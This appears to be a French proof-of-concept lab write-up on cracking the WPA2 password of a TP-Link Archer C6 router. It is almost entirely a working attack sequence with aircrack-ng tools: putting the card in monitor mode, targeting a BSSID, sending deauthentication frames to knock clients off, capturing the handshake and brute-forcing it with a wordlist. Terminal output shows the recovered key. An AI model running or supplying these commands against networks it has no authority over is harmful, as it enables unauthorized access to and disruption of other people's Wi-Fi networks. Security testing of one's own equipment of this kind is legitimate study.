

# Proof Of Concept : Airmon-ng

## Récupération mot de passe Wi-Fi

29/12/2024 – 01:38

### Informations :

Matériel cibler : TP-LINK Archer C6 v4

wlan0 : mon interface wifi

wlan0mon : mon interface wifi avec mode monitor

### Déroulement

Récupérez le nom de votre interface wifi

```
ifconfig
```

Activez le mode monitor sur la carte wifi

```
airmon-ng start wlan0
```

### Analyse des réseaux environnants disponibles

-> On relève le réseau à cibler (BSSID / CH / ESSID)

```
airodump-ng wlan0mon
```

Exemple :

| BSSID             | PWR | Beacons | #Data, #/s | CH | MB  | ENC  | CIPHER | AUTH | ESSID   |
|-------------------|-----|---------|------------|----|-----|------|--------|------|---------|
| DC:62:79:95:CB:BD | -8  | 22      | 0 0        | 4  | 360 | WPA2 | CCMP   | PSK  | TP-Link |

Lancer simultanément le snif sur le handshake ET la déconnexion des utilisateurs du réseau cible

### Analyse

```
airodump-ng --bssid <BSSID> --channel <CH> --write handshake wlan0mon  
airodump-ng --bssid DC:62:79:95:CB:BD --channel 4 --write handshake wlan0mon
```

### Déconnexion

```
aireplay-ng --deauth 10 -a <BSSID> wlan0mon  
aireplay-ng --deauth 10 -a DC:62:79:95:CB:BD wlan0mon
```

Vérifiez que vous avez bien le « WPA handshake : [MAC] » en haut à droite :

```
root@KALI: /home/jlerou
Fichier Actions Éditer Vue Aide

CH 1 ][ Elapsed: 0 s ][ 2024-12-29 01:24

BSSID          PWR Beacons  #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID

BSSID          STATION      PWR  Rate  Lost  Frames  Notes  Probes
```

Doit devenir :

```
CH 4 ][ Elapsed: 2 mins ][ 2024-12-29 01:14 ][ WPA handshake: DC:62:79:95:CB:BD
BSSID          PWR RXQ Beacons  #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID
DC:62:79:95:CB:BD -18 31 6 1185 1479 79 5.9 1 4 360 0 WPA2 CCMP PSK TP-Link
BSSID          STATION      PWR  Rate  Lost  Frames  Notes  Probes
DC:62:79:95:CB:BD 82:4F:02:22:37:D6 -18 1e- 1 11 740 EAPOL
Quitting...
```

Commencez le brute force

```
aircrack-ng -w <wordlist.txt> -b <BSSID> handshake-01.cap
aircrack-ng -w <wordlist.txt> -b DC:62:79:95:CB:BD handshake-01.cap

root@KALI: /home/jleroux/Documents/POC1
Fichier Actions Éditer Vue Aide

Aircrack-ng 1.7

[00:00:26] 194752/203808 keys tested (7601.04 k/s)

Time left: 1 second
Current passphrase: cohortative

Master Key      : 3B 19 15 CF B0 EA 86 14 0B 1D D9 8A D6 BD 80 48
                  38 9A 0F 33 61 A4 27 4A 51 1B FC 64 5C F5 CD 27

Transient Key   : 3A D3 7A AC 8B 18 DB 1C 7E 2E 7B B2 7A 58 EC 02
                  45 7D 69 ED 5C 0C BD 26 F7 BA D4 A8 7F 00 78 D8
                  37 CA C5 3F 32 AD 79 A9 7E 7B AE 69 9E 30 78 B1
                  C9 36 34 57 0A 5A 5C 62 0A 4E 71 6A FD 00 BF 12

EAPOL HMAC     : 85 8B D1 D2 79 34 C0 74 B3 53 5C 85 90 BA BC 46
```

Puis

```
root@KALI: /home/jleroux/Documents/POC1
Fichier Actions Éditer Vue Aide
Aircrack-ng 1.7
[00:00:27] 201352/203808 keys tested (7589.53 k/s)
Time left: 0 seconds 86_64-bit 1479 15,9 Mio 0% 98.79%
KEY FOUND! [ 21041997 ]
Master Key : D7 30 82 D7 93 67 AC B3 46 29 B2 82 30 57 4C 99
             F8 09 2F B3 2D 56 AE 64 20 00 A9 5C D9 21 E0 4A
Transient Key : 4F 02 C6 6A B3 06 D1 0E 7C 04 C5 42 3E 08 34 4C
                84 80 29 44 7D 51 A8 6C 59 0D 11 F1 86 7C F7 AA
                F4 CA 82 6A A2 5A BB 33 F0 55 0A 41 65 E5 B9 C7
                7E 36 05 7F C9 93 5A 5A 97 99 2C E9 50 9A 96 C1
EAPOL HMAC : B7 A6 49 BC 32 74 33 94 D0 B6 8A C4 2F 4C FF F5
(root@KALI)-[/home/jleroux/Documents/POC1]
#
```

## EN PLUS

Verifier que la carte wifi est bien en mode monitor

```
iwconfig
```

Identifier et tuer les processus conflictuel avec airmon-ng

```
airmon-ng check
airmon-ng check kill
```

verifier que le handshake a bien été enregistré (verifier .cap)

```
aircrack-ng handshake-01.cap
```

Verifier avec Wireshark que le handshake a été enregistré

```
wireshark handshake-01.cap
```

L'interface Wireshark s'ouvre, filtrer par « EAPOL » il doit y avoir les paquets par paires.